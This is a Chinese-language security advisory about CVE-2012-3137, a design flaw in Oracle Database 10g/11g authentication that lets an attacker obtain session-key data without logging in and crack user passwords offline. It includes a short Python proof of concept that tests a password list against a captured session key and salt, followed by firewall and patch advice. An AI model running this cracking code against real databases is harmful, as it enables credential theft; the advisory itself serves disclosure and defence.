Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器

首页 / 操作系统 / Linux / Oracle Database身份验证协议离线口令破解漏洞(CVE-2012-3137)

发布日期:2012-09-24
更新日期:2012-10-20受影响系统:
Oracle database server 10.2.0.4
Oracle database server 10.2.0.3
Oracle database server  11.2.0.3
Oracle database server  11.2.0.2
Oracle database server  11.1.0.7
Oracle database server  10.2.0.5
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 55651
CVE ID: CVE-2012-3137Oracle Database是甲骨文公司的一款关系数据库管理系统。Oracle Database 10g/11g身份验证协议实现中存在一个设计缺陷,攻击者无需认证即可远程获取数据库用户密码哈希相关数据,从而可以离线暴力破解用户密码,进一步控制数据库系统。当客户端连接Oracle数据库在进行身份验证时,会首先提交登录用户名信息。数据库服务端会根据用户名查找该用户的口令哈希和salt值,并组合加密生成一个密钥,然后用这个密钥对一个随机数进行AES加密生成会话密钥(Session Key),并将其和用户口令Salt值一起发给客户端。由于在随机数生成机制上存在问题,导致攻击者可以得知部分明文,从而可以通过对会话密钥进行解密的方式来离线暴力猜测用户密码。由于用户仅仅需要提交用户名信息就可以得到进行离线暴力破解的足够信息,无需完成整个身份认证过程,数据库服务器端不会留下任何口令猜测的记录。如果某些数据库用户的口令设置比较薄弱,就很容易被攻击者用来登录Oracle数据库。<*来源:Esteban Martinez Fayo
 
  链接:http://arstechnica.com/security/2012/09/oracle-database-stealth-password-cracking-vulnerability/
        http://threatpost.com/en_us/blogs/flaw-oracle-logon-protocol-leads-easy-password-cracking-092012
        http://www.exploit-db.com/exploits/22069/
        http://www.oracle.com/technetwork/topics/security/cpuoct2012-1515893.html
*>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!#-*-coding:utf8 -*-
     
    import hashlib
    from Crypto.Cipher import AES
     
    def decrypt(session,salt,password):
            pass_hash = hashlib.sha1(password+salt)
     
            #......... ..... ..... .......... .. 24 ....
            key = pass_hash.digest() + "x00x00x00x00"
            decryptor = AES.new(key,AES.MODE_CBC)
            plain = decryptor.decrypt(session)
            return plain
     
    #............. ........... ...... 48 ....
    session_hex = "EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A8239B6DBA16EAAB5422553A7598143E78767"
     
    #.... 10 ....
    salt_hex = "A7193E546377EC56639E"
     
    passwords = ["test","password","oracle","demo"]
     
    for password in passwords:
            session_id = decrypt(session_hex.decode("hex"),salt_hex.decode("hex"),password)
            print "Decrypted session_id for password "%s" is %s" % (password,session_id.encode("hex"))
            if session_id[40:] == "x08x08x08x08x08x08x08x08":
                    print "PASSWORD IS "%s"" % password
                    break建议:
--------------------------------------------------------------------------------
临时解决方法:如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:* 在主机或边界防火墙设备上只允许可信任IP访问oracle数据库主机和端口(TCP/1521)。
* 提高Oracle数据库中各个用户的口令强度,避免易被猜测的薄弱口令。厂商补丁:Oracle
------
Oracle已经在2012年10月16日发布了一个安全公告(cpuoct2012-1515893)以及相应补丁修复此漏洞。建议Oracle数据库用户尽快下载安装升级包或联系Oracle技术支持人员进行升级。
cpuoct2012-1515893:Oracle Critical Patch Update Advisory - October 2012链接:http://www.oracle.com/technetwork/topics/security/cpuoct2012-1515893.htmlDrupal任意PHP代码执行和信息泄露漏洞FFmpeg多个远程代码执行漏洞相关资讯      Oracle安全漏洞  Oracle 11g安全漏洞 
  • Oracle Database Server Network   (04/17/2013 17:55:54)
  • Oracle Database Server   (04/17/2013 17:54:48)
  • 多个Oracle Hyperion产品缓冲区溢  (01/15/2013 07:59:21)
  • Oracle Database Server Network   (04/17/2013 17:55:20)
  • Oracle Database Server Workload   (04/17/2013 17:53:49)
  • Oracle数据库口令破解安全漏洞  (11/30/2012 11:49:04)
本文评论 查看全部评论 (0)
表情: 姓名: 字数


评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管